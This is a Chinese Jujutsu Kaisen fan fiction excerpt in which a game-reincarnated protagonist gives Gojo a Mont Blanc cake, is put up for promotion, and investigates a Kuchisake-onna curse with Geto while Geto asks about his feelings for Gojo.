“抱歉,”羽取一真有点不好意思开口,“我本来以为很快就能结束。” 结果反复尝试做了好几版,加起来就花费了很多时间。 “你的保龄球比赛,怎么样了?”他问五条悟。 “当然是了不起的五条同学大获全胜——区区保龄球而已,我想做的话当然能做到第一啦。” 五条悟压了压嘴角,好让自己不要显得太得意。 他还要审判这位晚归到险些以为对方出事了的黑豆柴呢! “悟确实做什么都能很快就成为第一。” 羽取一真点头,直把五条悟点得更加绷不住那副难得摆出严肃架势的表情。 “哼,咳,那是当然的。” 五条悟被夸得眯起苍瞳,声线也跟着上扬起来,彻底破功。 “你还没说你去做什么了呢,手里提着什么,给我的点心?闻到香味了哦。” 他的鼻子可是很灵敏的,这股栗子泥与奶油混搭的香气…… “是蒙布朗!” 五条悟的表情顿时变得灿烂无比。 “果然是给我的吧?” 哼哼,果然一真就是喜欢他的,连回来晚也不会忘记带他喜欢的蒙布朗——是知道这样可以让他消气吧? 还真是给这小子蒙对啦! 五条悟开开心心的从台阶上蹦跶下来,从羽取一真的手里接过那份简陋无比、但足以令他高兴的包装。 “是给你的。” 羽取一真抿起唇角,笑意同样明显。 “这可是被称为[神之甜品]的蒙布朗,我拜托大师帮忙做的。” “哦?” 五条悟眨了下苍瞳,“好中二的名字啊,怎么会有人给蒙布朗起这个名?” “……” 没想到会从漂亮小悟这里听见与川村如出一辙的中二感想,羽取一真顿时有点卡住。 可上周目的你和那个川村大师,还有那些慕名前来排队购买的粉丝,一口一个[神之甜品]叫得超起劲……反而显得他有点格格不入。 “总之,”羽取一真轻咳出声,“你先尝尝。” 虽然奖励不重要,但这个来自漂亮小悟的委托,他必须完成。 “好啊,让我来尝尝看!” 反正已经见到人毫发无损的回来了,五条悟便拉着羽取一真同样在石阶上坐好。 晚夏的夜晚并不如白天那般燥热,徐徐拂动在山间的夜风更是令人倍感惬意,使他们坐在星空下分享蒙布朗这段时光也变得极为愉快,却又柔和得好似一段宛若银泄的奏鸣曲。 拆开包装的五条悟小小欢呼一声,拿起附赠的小叉子,兴致勃勃得寻找最适合下手的第一口。 羽取一真也很期待他的反馈,【委托】浮窗更是直接开在眼前。 “嗯——好吃!” 五条悟的周身快蹦出无数亮晶晶的闪耀小星星,整个人开心到不行。 是他超中意的口味! 而且还是一真特意给他带回来的……美味程度翻倍! 五条悟又挖了一块蒙布朗,直接递到羽取一真嘴边。 他全然忘记对方可能会介意这把叉子已经被他用过的情况了。 但幸好羽取一真确实并不介意,张口吃下今天的第数不清多少块蒙布朗。 如果是现实世界,他大概率已经开始打饱嗝了,蒙布朗也早就噎到嗓子眼。 “好吃。” 羽取一真配合点头,黑瞳微微一瞥,看向【委托】界面。 【当前触发委托: 五条悟的寻觅:请协助五条悟吃到能使他满意的蒙布朗甜品。 当前最高满意度:96%/100%】 奖励:可解锁结婚模块。】 [神之甜品]确实很美味,也很符合漂亮小悟的口味——但它竟然还不能完成100%的最高满意度? 羽取一真的黑瞳都睁大了。 这可是当前时间节点尚且不存在的[神之甜品],是他拿着答案不停试配方,提前让川村大师做出来的蒙布朗呢! 而坐在他身边的五条悟,可没有什么能够量化满意度的【委托】界面,吃几口就开心发出“美味!”的声音。 从表现上来看,五条悟确实已经足够喜欢这款蒙布朗了。 到底是哪里出了问题? 难道是他记得口味不对,配方还需要再进行细微的改进? 羽取一真有点苦恼。 五条悟又给他塞了一叉子蒙布朗,羽取一真也是心不在焉的咽下了,甚至没有尝出味道——只有【你的体力值增加了!】的弹窗尽职尽责出现,又被后者随意关掉。 “怎么了?” 连带五条悟也有点疑惑,随意又恍然出声,似乎立刻就为羽取一真的走神找到了合理解释。 “是不是你也觉得太甜啦?” “太甜?” 羽取一真歪过头。在甜度上,这款蒙布朗应该不是悟吃过的最甜的甜食才对。 “嗯……我也说不好,总感觉还是得再淡一点。但这只是我突然升起的莫名感觉而已,别放心上。” 发现自己好像猜错了,五条悟用勺子轻轻刮纸盒底部的栗子泥和奶油,给这份已经吃光的蒙布朗做最后收尾。 “毕竟啊,这可是你辛苦做给我的吧?” 他愉快笑起来,甚至同样侧过脑袋,戏谑冲羽取一真眨了眨苍瞳,那道晴空似的雾蓝被烛火倒映着,浮动着柔和的、狡黠的暖意。 “我闻到了喔,你浑身都是甜甜的味道。” 五条悟向来都是很敏锐的,藏在看似对任何事情都浑不在意的张扬外表之下。 “肯定在烘焙的地方待了很久、很久,才会染上这种味道呢。只是普通的去店里购买甜点可不会有。” 羽取一真眨了下黑瞳,正想要否认这份蒙布朗不是他做的。 “是因为我上次和你说过了吧?” 五条悟的笑意愈发明显,连苍瞳也弯起来,对他露出一个超级可爱的满足表情。 “所以啊,我特别喜欢这份特意做给我的蒙布朗。” 至于刚才那句微妙的感觉太甜……嗯,不管不管,反正他觉得一真说的“大师”,没准就是他自己呢! “——也不是。” 听出他话外之意的羽取一真笑起来。 “我做的蒙布朗不是这样的……想吃的话,下次可以试着做给你。” 第108章 能尝到羽取一真亲手做的蒙布朗, 五条悟自然是满口答应。 “放心啦,”他还拍着羽取一真的肩膀,“不管你做成什么样, 我都会夸好吃的喔!” 甚至还把他肯定会睁眼说瞎话这个行为直接讲出口了, 提前给羽取一真打了个预防针。 羽取一真有点想笑。 啊搞不好,上周目的悟其实也并没有觉得巧克力蒙布朗特别好吃,只因为是他做的,所以很给面子的吃完了? 羽取一真决定这次先去找川村大师指导,而不是自己对着菜谱进行一些乱七八糟的更改加尝试。 这周目的他可没有用枪指着那位大师,又聊了一下午, 好感度还提高不少,前面的负号都去掉了。 何况这周目的他没有和悟住在高级公寓里, 高专宿舍也不存在烘焙的条件, 斟酌半晌发现还是拜托川村大师最方便。 羽取一真给川村大师打电话过去, 对方也很痛快的答应了借用厨房给他。 但羽取一真平时要上课, 外加还可能有会占用周末的任务;川村大师最近也需要去踩点店铺,以及准备开店事宜, 两人竟然有点对不上时间。 “没想到你一个学生,竟然比我还忙。” 川村大师相当困惑的嘀咕了一句,“不是说宽松世代吗,周末到底去干嘛, 补课?” “宽松世代”特指从1987年出生的一代人——也就是此刻的羽取一真和五条悟他们。 由于政府开始推行重视人性的教育理念, 禁止学校排名次和安排过重的作业,也不再进行父辈那种填鸭式的服从教育, 一切都为了让孩子拥有宽松且自由的成长环境。 但对于接受了严苛教育的老一辈而言,这些吃喝玩乐、轻松长大的后辈们过得实在太过轻松,根本毫无上进心、危机意识以及拼搏的野心, 便将他们称为“宽松世代”。 在有些长辈的轻蔑语境里,“宽松世代”更是与“失败品”或“废材”画上等号。 不过,川村大师只是疑惑了一下,并没有什么批判的意思。 “等你哪个周末有空的时候,提前给我打电话,”他最后拍板,“我也抽个空……嗯,虽然你是个没有经验的新手,但只想学会做蒙布朗的话,差不多先空个一天出来吧。” “太好了,”羽取一真认真道,“谢谢。” “没事没事,”川村大师说,“我其实一般不爱教导新人的,但怎么说,听见你的要求呢,总给我一种微妙的,嗯……就当是开发出[神之甜品]的报酬吧,免费教你一次。” 羽取一真:“……” 川村大师没有说完那句话,但羽取一真大概猜到他要说什么了。 大概是微妙的总想服从吧……因为上周目被用枪指着脑袋、必须争分夺秒做甜品的心理阴影太深? 说话回来,他以为只有[喜好]或者[反感]的情绪会被下周目继承,怎么连无意识下的反应也似乎沿袭了上周目与他的遭遇? 羽取一真有点想不明白,暂时将原因这归为这款游戏的特色设计。 而除去已经约好会做给漂亮小悟的巧克力蒙布朗外,羽取一真还在课上被告知了另一条消息。 此刻的时间已经来到九月底,即将迈入十月。 “推荐我为一级咒术师?” 羽取一真瞥了眼自己的技能面板,确定他的咒力量目前仍然显示为【三级】。 黑闪倒是升到【二级】了,应该就是在上次的姐妹校交流会上升的——毕竟咒灵很难得能扛他那么多次[黑闪],使用次数涨不上去。 而那些对手会努力躲[黑闪],再配合悟送给他的[业双],使用次数顿时飙升,让那场车轮战猛猛给羽取一真涨了一大波技能熟练度。 但再怎么说,也还不到一级咒术师的水平。 “咦,一级啊!” 五条悟的反应比羽取一真兴奋得多,还伸手过来拍后者的脑袋,一副与有荣焉的自豪模样。 “晋升的真快呢,不错耶,超级棒!” “啊,是这样吗?只是感觉有点突然。” 主要是他还什么都没做,游戏也没有给他发布任务,突然就被推荐成了一级咒术师? 羽取一真被拍得脑袋一点一点,脸上还没什么表情,看起来怪萌的,让五条悟没忍住又连着拍了好几下。 “悟,别欺负同学。” 夜蛾正道看不过眼,制止五条悟还想继续拍下去的打算。 “我也不清楚缘由,但既然这是来自上层的指示,我照做就是。” “欸,好歹也问问情况嘛。” 五条悟吐出点舌尖,冲夜蛾老师做了个鬼脸。 “不要光听那帮老家伙的命令啦。” 他当然不可能主动透露一真目前还不会术式的情况,但要说仅凭一真之前的表现就直接晋升一级咒术师……五条悟有点担心羽取一真之后的任务。 一级咒术师的待遇确实是一级以下咒术师远远比不上的,但与此相对,被安排给一级咒术师的任务也会相当危险。 特级咒术师在评级体系中是极其罕见的,几年也未必能出一个。 但特级咒灵的生成却仰赖于庞大人口对于某个共通特性的负面情绪,只需要有沉淀至实体化的契机,哪怕当下被祓除,也仍然会像野怪刷新一样定期出现。 因此,对于绝大部分咒术师而言,被评为一级咒术师,已经算是站在了咒术界的一流梯队里。 像目前,五条悟和夏油杰同样被评定为一级咒术师——但他们未来的发展潜力、以及术式在广范围攻击上的优越性,使他们被放在了特级咒术师的考量里。 按照夜蛾正道的估算,拥有[六眼]+[无下限]术式的五条悟、以及可以无限制操纵咒灵的夏油杰大概在今年年末、或者明年升上二年级之后,就会进行特级咒术师的晋升评定了。 这两位已然算是天赋异禀,但羽取一真,到现在为止,夜蛾正道甚至没有见过他的术式,只在报告里见过名字。 [十方摩诃],听起来与空间有关? 可上层似乎担心他定级太低似的,在发完讯息之后,还特意安排了两位一级咒术师来举荐羽取一真,简直让夜蛾正道摸不着头脑。 就算一真在交流会上确实用一手连续[黑闪]给大家吓得不轻,但直接从四级跨越到一级会不会有些太快了,容易引起其他术师不满? 但不管怎么说,既然上层都这样决定了,流程也完全符合晋升要求,那么他也只能按规矩办事。 “已经有两名一级咒术师推荐一真了,那么按照接下来的流程,” 夜蛾正道拿起放在讲台上的任务资料,示意羽取一真过来拿。 “你需要与已被评定为一级或以上的咒术师解决几次一级以上任务,并得到[良好]的评价——到这一步,你才能晋升到准一级。” “之后则需要再单独执行几次一级任务,根据结果来判定你是否可以正式晋升为一级咒术师。” 听上去有点麻烦,羽取一真点头接过那份资料:“我要和哪位一级咒术师去做任务?” “当然是我啦!我不就是符合要求的一级咒术师嘛?” 立刻毛遂自荐的五条悟撑着桌子,上半身前倾,一副马上就要和羽取一真组队出发的模样。 “不,是和夏油杰。” 夜蛾正道一句话,立刻让五条悟不满撇起嘴,“杰啊——” 这声再明显不过的埋怨,听得夏油杰额角青筋微微一跳,面带微笑的进行反击。 “毕竟我同样是一级咒术师,真是不好意思了啊,悟。” “悟,你这周还有另外的任务要做,下次才会安排给你。” 夜蛾正道立刻出手掐灭这紧张气氛的苗头,并当场给五条悟画了个饼。 五条悟:“……嘁。” 羽取一真也接受了这个大概率又是教祖出手的任务安排。 离这学年结束的时间也不远了,既然都把夏油杰的信任度刷到了76%,索性直接趁这次任务刷够80%,解锁术式吧。 战斗时只有[黑闪]能用,确实有点不方便。 何况,他之后还要想办法对付一周目的[幕后黑手]。 “这次的任务很明确,有人在网络散播[裂口女]现身埼玉的都市传闻!” 夜蛾正道等羽取一真看完那页薄薄的任务资料,一拍讲桌,相当热血地挥手道。 “无论这背后是否有诅咒师谋划,这种传播相当广、形象与内容也相当统一的现代妖怪故事造成的影响太大,[裂口女]很有可能已经诞生,推测等级为一级,目标是祓除掉!” 一听到“一级咒灵”的描述,羽取一真的目光瞬间与夏油杰撞到一处。 一个想要死的【咒力结晶】,一个想要活的【咒灵球】。 到时候,他们要怎么分这只咒灵……很成问题! ……… 这次下课后,羽取一真主动给酒见绫子打过去电话,大概描述了下他突然被晋升为一级咒术师的情况。 “是教祖大人的意思?” “当然,我说过了,教祖大人无所不能。” 酒见绫子口吻自豪,“包括你给的那些名单,教祖大人也说他们以后会老老实实的。” 酒见绫子只知道这是教祖大人做的,不清楚这段的前因后果。 对高层而言,起初是由于羽取一真在交流会上的表现,使他们让夜蛾正道安排对方往上晋升——至少不可能是四级咒术师。 但在被[那位大人]得知后,便索性让他们往上提一些,要晋升就干脆一口气晋升为一级咒术师。 直面的危机越多,才能拥有更多的可能性嘛。 ——[那位大人]是这么说的,甚至透着点微妙的从容笑意。 酒见绫子自然不清楚这些,但不妨碍她对那位包容又有求必应的教祖大人充满了崇拜与憧憬。 听完对方发言的羽取一真沉吟片刻,立刻又拉出【好感度】列表。 “其实,我上次只说了一部分。要不,请教祖大人再帮帮忙?” 酒见绫子:“………” 酒见绫子:“你到底得罪了多少人??” 羽取一真轻咳一声,刻意模仿起家入硝子那惯常恹恹的、有气无力的语气回答道。 “我也不清楚,他们就突然对我看不顺眼了。大概是见我和五条家的继承人走得近,又只是个咒术界的外人吧。” 刨除羽取一真那张仍旧没什么表情的面瘫脸,至少只听他这句话,好歹是多了点委屈的感觉。 把酒见绫子听得欲言又止,还是让他说个人名出来。 上次是羽取一真试探教祖大人会不会真的让那些人听话,便只数了十来个人名。 这也是他在试探自己被安排的这个任务的重要程度。 而此刻,既然他摸清楚了这位教祖大人真的很重视[阻止天元]任务,那羽取一真就不客气了。 从负一百,直接数到正数——暂时跳过正在履行[束缚]的禅院直哉。 “…………” 酒见绫子沉默许久,诚恳请教这位盘星教的圣子:“你是怎么做到的?” 是怎么做到一口气得罪这么多人的? 他其实是在攻打咒术界了吗,怎么能招来这么多人的针对? “倒也没有全部都针对过我,”羽取一真说,“就是为了以后我行事方便而已。” 酒见绫子:“…………是我的错觉吗,怎么更像是你在使唤教祖大人给你干活?” 简直倒反天罡! “话不能这么说,” 被指责的羽取一真也不心虚,声音沉稳、不紧不慢的开始胡诌。 “反正我顶着圣子的名头,让他们都听我的话,不就等于让他们都听教祖大人的话吗?这正是教祖大人体现其赫赫威名与无上影响力的时刻啊。” “毕竟,能够确保我明年百分之百完成任务,才是最重要的。对吧?” 这句“对吧”,把酒见绫子对得哑口无言。 “名单直接发我邮件,我会转达给教祖大人的。” 深吸口气,酒见绫子说,“我警告你,你可不要总踩着教祖大人的底线行事,如此冒犯……” “教祖大人包容万象,怎么可能会小心眼的认为我在冒犯?” 羽取一真用她的逻辑来反驳她,“倒是你,竟然敢认为教祖大人小心眼……” 嘟—— 羽取一真收起又被挂断的电话。 真没礼貌,至今都没有一通电话是正常结束的。 每次都把对方气到的羽取一真毫无心理负担的这么想道。 ………… 由于这次任务中出现的是会造成极大杀伤力的一级咒灵,羽取一真和夏油杰没有等周末才出发,而是当天就动身前往埼玉县进行现场勘察。 “按照网络的说法,有关[裂口女]的都市传说是从1979年的春天至夏天时期里开始大面积流行的……嗯,主要是在校园里传播。” 夏油杰和羽取一真并肩而行,在前往与辅助监督汇合的路上,他先提前搜集了相关的资料。 这也是夏油杰的习惯之一,他并不喜欢依赖他人的帮助,在谨慎的基础之上更独立,更信任自己完全掌握的东西。 “不过,[裂口女]的传闻源头很难界定,甚至在全国范围的不同地区内,故事背景也有略微不同的差异。” “这次的呢?”羽取一真问道,“不同的故事差异,会生成不同的[裂口女]?” “大体来说是这样,假想咒灵的能力与传闻的关联性比较强烈;如果传闻里有明确的妖怪出没地点,那我们甚至可以直接去那个地点搜查是否有咒灵。” 夏油杰点头,“辅助监督已经安排人去查这次是谁在刻意散播传闻了。大多数时候是普通人的恶作剧,但也不排除是诅咒师趁机在背后搞鬼。” 羽取一真猜测:“想驱使[裂口女]?” “我也认为是这样,咒灵可以和术师签订主从制约的。”夏油杰说,“和我只需要降服就能吸收的[咒灵操术]不太一样,那种关系的构建很耗费精力。而且咒灵的等级越高,成功拥有主从制约的难度也越大。” “但[裂口女]的等级很高,就算借助媒介、把它当成式神驱使也是很强的战力。” 毕竟是曾流传到全国的都市传闻,能吸纳到的负面能量是相当庞大的。 羽取一真点头,打开手机邮件。 [任务加油——!] 后面接了个超级可爱的表情符号。 羽取一真很肯定如果邮件能画画,五条悟绝对会动手画一个Q版小悟给他,就像在课堂上传过无数次的纸条那般。 光是想起那个用包子脸比耶的生动表情,就足以令羽取一真微笑起来,连当天就动身赶路的心情也变得愉快许多。 夏油杰只需要微微一瞥,看见平日面无表情的羽取一真在对着手机笑,就知道发邮件过来的人是谁了。 不过,实话实说,他是有点好奇的。 比较注重社交礼仪的夏油杰想了想,觉得以他如今和悟以及一真的友好关系,应该可以问些比较私人的事情。 “那个,咳,” 在羽取一真听到声音、视线望向他的时候,夏油杰用手指了指那部被羽取一真握在手里的翻盖手机,压低声音问道。 “我先提前说声恭喜……你和他,是什么时候在一起的?” 明明夜晚的街道足够安静,附近也没有别的路人,但夏油杰就是感觉有点不好意思,下意识降低后半句的音量。 但这一句话,就把羽取一真问得有点呆住。 “哪种在一起?” 夏油杰迟疑片刻,竖起代表恋人关系的小拇指。 虽然这是暗示女朋友的,但以这两位的性别,他又不太确定到底该竖哪个…… 好在,羽取一真秒懂了。 且立刻露出很微妙的表情,当即澄清道:“我没有和悟在一起。” 这话把夏油杰也听呆了,难以置信到脱口而出:“……你们这都还没在一起?” 羽取一真:“……你怎么会觉得我们已经在一起了?” 他们甚至都没有亲过好不好。 而且他也没有像一周目那样,对五条悟进行求婚。 “………” 这反问让夏油杰沉默了。 两个聪明人凑到一起,竟然正正得负,变成了两个呆瓜吗? “就你们那个黏糊糊的氛围,还有相当亲密的举止,要说没有在一起,基本不会有人相信的。” 夏油杰深吸口气,艰难的解释起自己这个猜想并非毫无根据。 羽取一真:“……真的?” 夏油杰扶了扶额头,对这两人的迟钝感到难以置信。 “相信我,普通朋友是不会特意坐在高专校门口,从下午一直等到晚上的。” 羽取一真怔了怔,下意识问道。 “悟没有和你们去打保龄球?” “半途就跑了。”夏油杰耸肩,“虽然确实打出了一轮全中……而且还是心不在焉下拿的全中,连老板都夸他有天赋。” 在那由单词组成的语句传入耳朵、被大脑理解的刹那间,羽取一真甚至无法准确形容自己忽然被触动的情绪。 就像寂静深夜里突然响起的一声风铃,就像蜻蜓在雏菊的花瓣轻点而过、摇落的一颗晶莹露珠。 就像火焰是白色的,就像光谱也变得错乱而颠倒,挂在天边的皎月在不停流淌出灿金的砂粒。 就像他在一周目为悟怦然心动那般,此刻的他甚至为这份感情变得手足无措起来。 “但是……” 羽取一真喃喃出声。 这是不对的,他不应该为二周目的悟动心。 在游戏数据的生成上,他们或许共享同一串代码;但在那无数一点一滴组成的细节上,一周目的悟在他心里的地位,理应是独一无二的。 而且,他明明还没有求婚过,好感度界面也是一周目解锁的……二周目的悟,为什么会喜欢他呢? ……因为好感度的继承吗? “老实说,我一开始还不认同悟说你超呆的。” 夏油杰见羽取一真半晌没有“但是”出下文,实在没忍住叹了口气。 他现在确实开始认同悟描述一真用的形容词了——是什么来着,呆呆的黑豆柴? 无法解释缘由的羽取一真:“………” 情绪混乱下,羽取一真甚至有点顾左右而言他。 “还有多久到[裂口女]的传闻地?” 夏油杰看着他险些被地上的裂缝绊倒,趔趄两步才站稳。 “………” 他真的好想把这一幕拍下照片发给悟看啊。 不过,他这样无意中戳穿了两个人之间暧昧这么久却还没在一起的关系……如果一真后面能反应过来,等回去后,是不是应该感谢他? 嗯…作为报酬,要不就把[裂口女]送给他怎么样? 第109章 关于[裂口女]这个现代妖怪的传闻来源, 有许多种说法。 有说是脱胎于那年上映的电影,有一位怨恨主角美貌的跟踪狂,最终拿起剪刀。 也有说是去做整容手术的美女, 因为嗅到医生的头发有腊臭味而扭动, 结果导致医生不小心剪开了她两侧的嘴巴。 甚至还有说是祖先那代利用鬼神做坏事、赚黑钱而遭到反噬,导致其子子孙孙的嘴巴因诅咒而裂开,化作妖怪。 “总而言之,传说的来源很难考证,不同地区的说法相差很大。但大致都有些共同性,例如[裂口女]都是挡着脸、穿着大衣、手里拿着一把剪刀, 问路人[我美吗]之类的。” 夏油杰踩在这条已半废弃的地下通道里,用特意准备好的手电筒照明。 “而这次流传开的[裂口女袭击事件]倒是也帮了我们一点忙, 明确写它发生在琦玉的这条地下通道里。” 负责开车的辅助监督被留车里等着接应, 更是特意停在稍远些的位置, 以防遭到袭击。 通常而言, 咒灵并不会轻易离开它的出生地,只要离这块区域远一点, 人员基本就是安全的。 这条并不长的地下通道有着极为明显的风化痕迹,下楼梯时的扶手也落满了灰,遍布块状的斑斑锈迹。 抬眼朝这条通道的两端来回打量,头顶的照明设施早已损坏, 应急灯也没有幸免, 使这段大约300米的路段黑得伸手不见五指,仅能依靠夏油杰的手电筒照明。 像这种久无人使用、陷入废弃状态的基建工程到处都有, 全都是上世纪五十到七十年代那段时期,政府不计成本的疯狂基建所遗留下来的全国性问题。 也是[窗]他们巡逻的重点观察区域——这种废弃或半废弃场所太容易编造灵异故事、聚集负面情绪,进而诞生出危害性较高的咒灵。 夏油杰之前也到过许多类似的地方执行任务, 积累的应对经验同样丰富无比。 手电筒能照亮的区域毕竟有限,他早就提前在二人的周身不远处布下数只低级咒灵,既作为第一道防御,也是一种预警手段。 走到中途,夏油杰就挥手示意羽取一真先停下。 “有咒力残秽……不止一种。” 知道羽取一真不会感知咒力,他压低声音解释了一句,手电筒特意交换在左手握紧,右手则保持随时能使用术式的状态,让那束光柱缓慢朝那残秽的源头扫去—— 空无一物。 夏油杰又谨慎得来回扫过几遍,将逡巡的范围扩得更大了些。 直到他确定这面光秃秃的墙壁确实没有任何埋伏后,才走近细看。 羽取一真则站在夏油杰身后,右手始终握紧别在腰后的[业双],随时准备给突然袭击的敌方目标一棍[黑闪]。 魂系游戏可太喜欢搞这种卡视野死角的跳脸杀了,他得防着点。 “大概是我们来迟了。” 夏油杰的手指摸在那面冰凉的墙壁上——在他的视野里,两股飘荡的咒力残秽交织在一处,朝外缓慢逸散。 而在这其中,他能感知到不仅是咒力残秽的强度,还有其中的微妙差异。 “咒力有两种……是有一个诅咒师提前过来,将[裂口女]收为式神了吗……” 夏油杰沉思道,“果然是刻意制造的都市传闻啊。估计只将传播范围控制在埼玉县,是为了降低[裂口女]的等级吧。如果真的再造成全国范围内的流传,导致[裂口女]的等级变成特级的话,就不是普通诅咒师能够收服的对象了。” 羽取一真:“他们打不过特级咒灵?” “到目前为止,被咒术界评定为特级的咒灵只有16个啊。” 夏油杰发出[好想要]的叹息声——要是能分他一个就好了,那他被评定为特级咒术师的时间肯定也会跟着大幅提前。 “不过那些咒灵的危害太大,都已经被不计代价的祓除掉了。但咒灵毕竟是依托于人类的负面情绪诞生,只要积累足够的时间,大概又会生成大致相同、但细节上略有区别的一只吧。” 要是有机会,他真的很想给自己抓一只。 但人不能好高骛远,现在的他先想想怎样才能让羽取一真愿意把这只[裂口女]让给他。 “像有些咒灵只能被评定为[在咒力输出上媲美特级]、[在危害性上媲美特级]。能被真正评定为特级的咒灵,除去准一级以上会使用的咒术以外,还基本都拥有自己的[生得领域]。” 夏油杰脑筋动得飞快,顺便和羽取一真解释高等级之间的咒灵区分标准。 夜蛾老师的课程还没有讲到这部分,是他提前借来了二年级学长的教材,算是提前了解一下。 毕竟他的术式和咒灵相关,还是对咒灵拥有更全面、更细致的理论掌握比较好。 不像一真,只要专心研究如何稳准狠地祓除掉咒灵就行——他可是要操纵咒灵进行战斗的。 “类似于术师的[领域展开]。” 听懂的羽取一真点头。 他在一周目就已经体验过了,还是用在了和眼前这个家伙同归于尽的时候。 嗯……他还是很在意名字后面跟着的(已故)再加一个问号。 那个问号,到底是代表什么含义? 比如二周目的夏油杰,在他的【社交】列表里只显示了【夏油杰】,后面什么也没跟。 盯着眼前这位同样身穿高专制服的同班同学思考片刻,羽取一真开口问仍在仔细辨认咒力残秽的夏油杰。 “你的[咒灵操术],有没有办法让你死了也能复活?” 这句话直接把夏油杰呛到咳嗽起来。 “你怎么会这么想??” 夏油杰拿原本正在照亮墙壁的手电筒来回扫羽取一真,强烈地表达出了他对后者能问出这个问题的难以置信。 担心光柱会晃到对方的眼睛,他还刻意控制在羽取一真的腿上来回扫。 “我连吸收咒灵,都只能挑活的吸收——你怎么会认为我能死而复生?” 但出口的语气依旧十分震惊。 “我不好说,” 羽取一真想了想某些游戏的经典剧情套路。 “万一你在快死的时候被人诅咒,变成半咒灵半人类的状态,就正好能被濒死的你用[咒灵操术]吸收,这样一来,你就能变成活的……该怎么形容,半灵?” 一种我操纵我自己的卡bug玩法。 这样也能解释为什么一周目他对那个夏油杰发动[戒禁取见]却不起作用——它的作用目标得是个拥有正常五感和知觉的人类嘛。 夏油杰:“…………” 这家伙的脑袋里装的到底是什么?还有半灵是什么形容,类似于半妖? 未免也太异想天开了! “先不说只有当咒术师没被咒力杀死时,才会在死后化作咒灵的咒术界共识,” 夏油杰被羽取一真的猜测噎住半晌,才有点无语的出声解释道。 “我还没听过除了咒物受肉外,有哪位术师能变成半人类半咒灵的。” “再说了,你刚才的限定条件可是[死了也能复活]……除非等我哪天能吸收到拥有对人类[死而复活]咒术的好心肠咒灵,否则是做不到这点的吧。” 救命,他们为什么要在这里讨论他死了能不能复活的话题啊。 “咒物受肉……对啊。” 羽取一真的黑瞳微微一亮。 搞不好,一周目的[夏油杰],就是某种咒物受肉在夏油杰身上? 如果那个咒物曾经受肉过虎杖香织,在得到她的术式后,又通过某种办法转移到后来已经死掉的夏油杰身上,操纵他的尸体,岂不是就可以拥有两个人的术式了? 所以那个问号……很有可能是没有显示出的真名? 因为它一直通过夏油杰的身体与他对话,而不是用本体在和他聊天。 这么一说,那个[教祖大人]还挺可疑的,搞不好就是操纵咒物的幕后黑手。 毕竟他在上次的[人偶袭击事件]里,就是利用了咒物来强行针对夏油杰制造危机,还能留下可以被他击退的后门。 甚至在死后,被容器吸收的咒物还能再掉落——连夏油杰也说过这种情况是头一次见。 这或许意味着,那个教祖在对咒物的理解和利用上拥有很高的心得。 嗯,越想越有可能,否则这个教祖为什么在他卧底高专的途中,还特意又给他发布了一个[接近夏油杰]的委托? 之前的羽取一真还猜测是想要拉夏油杰入伙反派阵营。 现在想想,也有可能是看中了他的术式…… “什么对啊?” 见羽取一真瘫着张没什么表情的脸就开始走神,猜不出对方在想什么的夏油杰等了半天也没有下文,忍不住出声问他。 “我在想如果你死后,有人用咒物受肉在你身上,是不是就可以操纵你的身体、使用你的术式了。” 羽取一真将能说的部分简略描述给夏油杰听。 夏油杰沉默片刻:“……咒物应该只能受肉给活人吧。但你为什么一定要假定我死了?” 他就不能活着被咒物受肉吗……不对,他为什么纠结自己到底是生前还是死后吃咒物啊,吃咒灵球还不够让他头疼吗。 羽取一真能吃,又不等于他也能吃。 面对抗议,羽取一真睁着那双分外无辜的黑瞳回望。 “我就是求知欲强烈了一点。” 夏油杰:“……” 夏油杰深吸一口气:“如果受肉在咒术师身上,如果咒术师不能压制住对方的话,确实会被诅咒反压制,成为后者的容器,且能够使用原术师的术式。” “但这种情况相当罕见啊,能从古代留存下来的咒物就没有等级低的,这种散发着恶意诅咒气息的猛毒,哪个术师没事干会去吃它。” 刚说完这句话,夏油杰就想起他面前就有一个没事干的术师。 “………” 地下通道内的气氛安静片刻。 “你不要老想着打我的主意,”夏油杰最后没好气道,“我只吃用[咒灵操术]搓出来的咒灵球,除此之外的任何关于诅咒的东西都不会吃的!” “死了也不会?” “死了我怎么知道自己会不会……你不要老是盼着我死啊,我今年才刚正式开始干咒术师这行吧!” “这样啊。” 羽取一真缓慢眨了下黑瞳。 谁让他在一周目,看到的夏油杰后缀跟着(已故)嘛。 但羽取一真的声线仍旧沉稳而认真,怎么看都不像是故意这么说的,倒让夏油杰刚才升起的郁闷消散不少。 “何况,就算我总有一天会死,” 夏油杰嘀咕出声,声音回荡在这安静的地下通道内,极为清晰。 “那也是被上天赋予了咒术这项才能的我,为了保护非术师而战死的吧。” 来高专之前的他都是自己偷偷单干,祓除咒灵的行动间极为谨慎,绝不会向周围的普通人暴露出自己与众不同的那面。 这也使夏油杰在成长过程中变得非常擅长察言观色,揣摩对方心理,好令自己与普通人的步调一致。 但在另一方面,全都是普通人的成长环境,同样带给他一种天然认为自己是“特殊”的隔阂感。 即使在伪装自己是普通人这点上做的再好,夏油杰的内心深处,始终都不会认同自己也是个普通人。 而自小接收到的教育,兼之内心较为敏感多虑的特质,又会令夏油杰不断去思考自己为什么会拥有咒术。 ——为了从肆意伤害的咒灵那里,保护弱小到甚至看不见它们的非术师。 这就是夏油杰如今得到的答案。 “哦。” 听完这些的羽取一真平静点头。 夏油杰:“……” 夏油杰:“我刚才说了那么多,你的反应就是一声‘哦’?” “啊,这不是作品里的正派角色挺常见的战斗理由吗,”羽取一真说,“友情啊,正义啊,羁绊啊,责任啊,什么的。” 现实世界的他偶尔也会看Jump漫画的。 而且游戏里也挺多的,尤其是以后注定要便当的悲情角色。 相比之下,玩家们的行为倒是混沌得很,除非是为了开善良线的结局或者成就,否则杀npc基本就如同砍瓜切菜,能摸的都会忍不住摸一下。 鸡倒是最好别杀。 听完羽取一真的解释,夏油杰卡壳了,发现他有点没办法反驳。 “啊…嗯…那倒确、确实呢,” 他再开口的时候,甚至磕巴了一下,“总之,你认同我的理念就好了。” “倒不是说认同不认同,”羽取一真说,“就是你会有点危险。” ——他甚至学着漂亮小悟的动作,冲夏油杰轻微耸了下肩膀。 “你知道的,这种flag在作品里超常见,例如[只要什么什么,我就什么什么]。” 其实,这也是一种委婉的提醒,让他以后注意点自己的性命安全,别真的像一周目那样,早早就被游戏打上(已故)的标签。 既然夏油杰如此坚定的认为自己应当保护普通人,且强调他没办法死而复生,那羽取一真对于一周目[夏油杰]的状态猜测,更多放在“死后被操纵”的可能性上,而非“夏油杰后期黑化加入反派阵营”。 “………” 但羽取一真的这番话,又噎住了夏油杰。 